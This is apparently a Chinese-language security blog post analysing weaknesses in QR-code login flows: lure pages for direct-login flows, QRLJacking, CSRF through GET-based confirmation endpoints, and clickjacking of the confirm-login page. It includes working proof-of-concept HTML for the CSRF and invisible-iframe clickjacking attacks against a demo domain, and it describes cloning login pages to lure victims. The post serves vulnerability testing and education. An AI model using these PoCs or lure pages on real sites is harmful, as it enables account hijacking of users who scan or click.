[純文字]二維碼登陸的常見缺陷剖析
本文首發i春秋社區:
[純文字很乾]二維碼登陸的常見缺陷剖析_白帽子技術/思路_i春秋社區-分享你的技術,為安全加點溫度二維碼登陸的常見缺陷剖析
現在很多的電商平台和互聯網型企業都有自己的手機APP,為了方便用戶的體驗,於是就有了"掃碼登陸"這樣的功能。看似掃碼登陸,實際上還是基於HTTP請求來完成的。
了解掃碼登陸步驟
標準的二維碼登陸流程如下:
1. 打開web界面進入登陸然後載入二維碼
2. 網站開始輪詢,來檢測二維碼狀態3. 打開手機APP進入"掃一掃",掃描二維碼4. 網站檢測到二維碼被掃描,進入被掃描後的界面,繼續輪詢來獲取憑證5. 手機APP進入確認登陸界面
6. (當點擊確認登陸)網站輪詢結束獲取到了憑證,進入個人中心;(當取消登陸)網站輪詢設定時間自動刷新頁面。常見缺陷剖析
0x00 非標準掃碼登陸流程缺陷
非標準流程描述
掃描登陸的流程如果不按照標準來做也會存在很多問題,國內一些企業在處理這些的時候省略了如上所述的第五步驟和第六步驟,而是直接掃描後立即登陸。
分析非標準流程可能存在的問題
- 可進行1:1比例誘導掃描
二維碼是一張圖片而圖片是可以移植的,所以我們可以1:1克隆一個登陸頁面來誘導用戶進行掃描,這樣就可以直接獲取用戶的許可權了。
因為保密協議的問題,這裡不對漏洞詳情進行描述,簡單的使用文字進行敘述:
在測試這種問題的時候,只需要按照步驟去測試下即可發現是否有相對於的問題,我一般會使用瀏覽器ctrl+s快捷鍵先克隆下來,因為這樣會自帶css和js等文件,剩下的只需要你處理一下就行了,也可以參考我之前的文章:微信Netting-QRLJacking分析利用-掃我二維碼獲取你的賬號許可權,方法類似就行,但是這裡的微信二維碼登錄是基於OAuth2.0協議的,所以當用戶點擊之後,我只要獲取到授權憑證鏈接就行了,而一般的二維碼登陸是不基於OAuth2.0協議的,就需要處理好你的交互問題。
0x01 QRLJacking-二維碼登陸劫持
2017年OWASP推出了這種攻擊方式:https://www.owasp.org/index.php/Qrljacking
因為OWASP上有詳細的介紹,所以在這裡我就不以實際案例來說明了。
補充的一點是在0x00中我已經說明了之前一篇文章微信Netting-QRLJacking分析利用-掃我二維碼獲取你的賬號許可權,在這裡我稱之為Netting-QRLJacking是因為我們可以使用釣魚網站方式的方法進行大面積撒網~而其實這裡是利用了OAuth2.0的一個流程特徵,我們想進行二維碼登錄劫持的時候也可以利用"掃碼登陸"的流程特徵。
之前已經把"掃碼登陸"的流程說的很清楚了,我們知道其中一步輪詢是用戶點擊確認登陸之後就通過輪詢這個介面可以直接獲得憑證,利用這個特點就行了。
小提示:整個流程劃分為一個一個的介面來測試,你會更清楚的。
0x02 CSRF跨站請求訪問
之在0x01說了,把整個流程劃分為一個個的介面來測試,你就會更清楚,其實潛台詞就是"你會發現更多漏洞"~
以一個實際例子來講解:
在測試一個站點的時候遇到的問題,其掃碼登陸的流程全部為GET類型請求:
- 打開web界面進入登陸然後載入二維碼(http://www.gh0stdemo.cn/getqrcode 返回一段uuid 二維碼的鏈接為 http://www.gh0stdemo.cn/qrcode?code=qrcode)
- 網站開始輪詢,來檢測二維碼狀態(http://www.gh0stdemo.cn/getqrlstate?code=qrcode)
- 打開手機APP進入"掃一掃",掃描二維碼(http://www.gh0stdemo.cn/qrcode?code=qrcode)
- 網站檢測到二維碼被掃描,進入被掃描後的界面,繼續輪詢來獲取憑證(http://www.gh0stdemo.cn/getqrlstate?code=qrcode)
- 手機APP進入確認登陸界面(這步驟必須需要經過第四步驟之後才可以 http://www.gh0stdemo.cn/putqrlstate?code=qrcode)
- (當點擊確認登陸)網站輪詢結束獲取到了憑證,進入個人中心;(當取消登陸)網站輪詢設定時間自動刷新頁面。
在這裡我們可以構建這樣的PoC:
<!DOCTYPE html><html><head> <title>PoC</title></head><body><script>function loadsrc(){ document.getElementById("test1").src="http://www.gh0stdemo.cn/qrcode?code=qrcode";}setTimeout(loadsrc(),1000);</script><iframe id="test1" src="http://www.gh0stdemo.cn/putqrlstate?code=qrcode"></iframe></body></html>
很簡單的一個PoC就構成了,這裡也確實存在CSRF的問題,可能在這裡有人會想到攻擊面得問題,僅僅只限於APP端?當然不,其實原理是一樣得,都是把自己的憑證(Cookie)發出去,所以在電腦的web端只要登陸了一樣可以完成攻擊步驟~
當然在這裡也有POST形式的CSRF,因為內容重複度過高就不一一舉例了。
0x03 ClickJacking-點擊劫持
點擊劫持,視覺欺騙
根據掃碼登陸的流程中我們可以看到有一個流程強制的要求了用戶去點擊確認登陸的按鈕,但是這個界面往往沒有做點擊劫持的防範:
在我之前的一篇文章中詳細講了PoC的製作方法:http://gh0st.cn/archives/2017-12-20/1
之前跟一朋友在測試的時候發現了一些問題,有些網站用iframe標籤引用進來,不會百分百的自適應,在這裡我使用了div為父元素,如何再在div裡面寫入iframe這個子元素來自適應就行了。
<html><head><meta name="referrer" content="never"><style type="text/css"> .testframe { height: 100%;} iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的屬性,兼容各大瀏覽器*/ filter: alpha(Opacity=0); /*提供給IE瀏覽器8之前的*/ -moz-opacity: 0; /*提供給火狐瀏覽器的*/ -webkit-opacity: 0; /*提供給webkit內核的*/ -khtml-opacity: 0; /*提供給KHTML內核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供給IE8之後的*/ opacity: 0; /*控制不透明度的屬性,兼容各大瀏覽器*/}.btn { position: fixed; width: 97%; height: 42px; margin: 0 auto; left: 0; right:0; display:block; top: 815px;} </style></head><body><div class="testframe"> <input type="button" class="btn" value="Click"> <iframe src="http://www.gh0stdemo.cn/qrcode?code=qrcode"></iframe></div></body></html>
示例結果:
結尾
本文沒詳細的去寫,僅僅記錄筆者的實踐過程和心得。
推薦閱讀:
※閉關式的學習需要注意什麼?
※一些牛逼的編程高手每天的生活是怎樣?
※kali裝在虛擬機裡面,和不裝在虛擬機裡面有什麼不一樣嗎?
※想學習網路安全,0基礎,求指導?
※怎麼看待頂級黑客凱文說的現在所有AI產品都是假的?